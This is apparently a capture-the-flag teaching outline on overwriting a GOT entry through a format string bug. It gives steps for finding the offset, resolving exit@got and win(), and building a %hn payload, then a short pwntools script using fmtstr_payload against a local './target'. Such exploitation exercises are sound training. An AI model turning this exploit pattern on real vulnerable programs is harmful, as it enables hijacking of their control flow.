Worked Outline: Overwrite a GOT Entry

Concept: redirect a library call (e.g. exit@got) to win()

by writing win's address over the GOT entry.

• Find the format string offset of your buffer (probe with %N$p).
• Resolve targets: elf.got['exit'] and elf.sym['win'] (leak PIE base first if the binary is position-independent).
• Build a multi-write %hn payload placing win into the GOT slot, two bytes at a time.
• Trigger the overwritten call.

from pwn import *
elf = ELF('./target')
offset = 7                       # from the probe step
payload = fmtstr_payload(offset,
            {elf.got['exit']: elf.sym['win']})
p = process('./target'); p.sendline(payload)